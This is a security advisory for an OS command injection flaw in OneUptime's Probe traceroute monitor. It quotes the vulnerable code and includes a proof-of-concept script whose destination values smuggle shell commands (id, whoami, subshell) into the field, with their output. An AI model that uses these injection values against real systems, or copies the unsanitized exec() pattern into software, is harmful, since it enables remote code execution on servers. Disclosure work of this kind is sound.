CVE-2026-27728: OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()

Summary

An OS command injection vulnerability in NetworkPathMonitor.performTraceroute() allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.

Details

The vulnerability exists in Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts, lines 149–191.

The performTraceroute() method constructs a shell command by directly interpolating the user-controlled destination parameter into a string template, then executes it via childprocess.exec() (wrapped through promisify):

typescript // Line 13 — exec imported from childprocess import { exec } from "childprocess";

// Line 15-17 — promisified into execAsync const execAsync = promisify(exec);

// Lines 149-191 — destination is never sanitized private static async performTraceroute( destination: string, // ← attacker-controlled maxHops: number, timeout: number, ): Promise<TraceRoute> { // ... let command: string; if (isWindows) { command = tracert -h ${maxHops} -w ${...} ${destination}; } else if (isMac) { command = traceroute -m ${maxHops} -w 3 ${destination}; } else { command = traceroute -m ${maxHops} -w 3 ${destination}; }

const tracePromise = execAsync(command); // ← shell execution

The destination value originates from the public trace() method (line 31), which accepts URL | Hostname | IPv4 | IPv6 | string types. When a raw string is passed (line 47: hostAddress = destination), no validation or sanitization is performed before it reaches performTraceroute().

childprocess.exec() spawns a shell (/bin/sh), so any shell metacharacters (;, |, $(), , &&, ||, \n) in destination will be interpreted, allowing full command injection.

PoC

1. poc.cjs javascript / PoC: OS Command Injection in OneUptime NetworkPathMonitor Replicates the exact vulnerable code path from Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191 /

const { exec } = require("childprocess"); const { promisify } = require("util"); const execAsync = promisify(exec);

async function performTracerouteVULNERABLE(destination, maxHops, timeout) { const isMac = process.platform === "darwin"; const isWindows = process.platform === "win32";

let command; if (isWindows) { command = tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) 1000} ${destination}; } else if (isMac) { command = traceroute -m ${maxHops} -w 3 ${destination}; } else { command = traceroute -m ${maxHops} -w 3 ${destination}; }

console.log([VULN] Constructed command: ${command});

try { const { stdout, stderr } = await execAsync(command); return { stdout, stderr }; } catch (err) { return { stdout: err.stdout || "", stderr: err.stderr || err.message }; } }

async function runPoC() { console.log("=== Payload 1: Semicolon chaining (;) ==="); console.log(" destination = '127.0.0.1; id'\n"); const r1 = await performTracerouteVULNERABLE("127.0.0.1; id", 1, 5000); console.log("[stdout]:", r1.stdout);

console.log("\n=== Payload 2: Pipe injection (|) ==="); console.log(" destination = '127.0.0.1 | whoami'\n"); const r2 = await performTracerouteVULNERABLE("127.0.0.1 | whoami", 1, 5000); console.log("[stdout]:", r2.stdout);

console.log("\n=== Payload 3: Subshell execution $() ==="); console.log(" destination = '127.0.0.1$(echo INJECTED)'\n"); const r3 = await performTracerouteVULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000); console.log("[stderr]:", r3.stderr); }

runPoC().catch(console.error);

2. Run the PoC:

bash node poc.cjs

3. Expected output (confirmed on macOS with Node.js v25.2.1):

=== Payload 1: Semicolon chaining (;) === destination = '127.0.0.1; id'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id [stdout]: 1 localhost (127.0.0.1) 0.215 ms 0.076 ms 0.055 ms uid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)...

=== Payload 2: Pipe injection (|) === destination = '127.0.0.1 | whoami'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami [stdout]: dxleryt

=== Payload 3: Subshell execution $() === destination = '127.0.0.1$(echo INJECTED)'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED) [stderr]: traceroute: unknown host 127.0.0.1INJECTED

The id and whoami commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — $(echo INJECTED) is evaluated and appended to the hostname.

Impact

Vulnerability type: OS Command Injection (CWE-78)

Who is impacted: Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to:

- Execute arbitrary commands as the Probe service user (Remote Code Execution) - Read sensitive files from the Probe server (e.g., environment variables, credentials, service account tokens) - Pivot to internal services accessible from the Probe's network position - Compromise other tenants' monitoring data if Probes are shared across tenants - Establish persistent backdoors (reverse shells, cron jobs, SSH keys)

Note: The NetworkPathMonitor class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.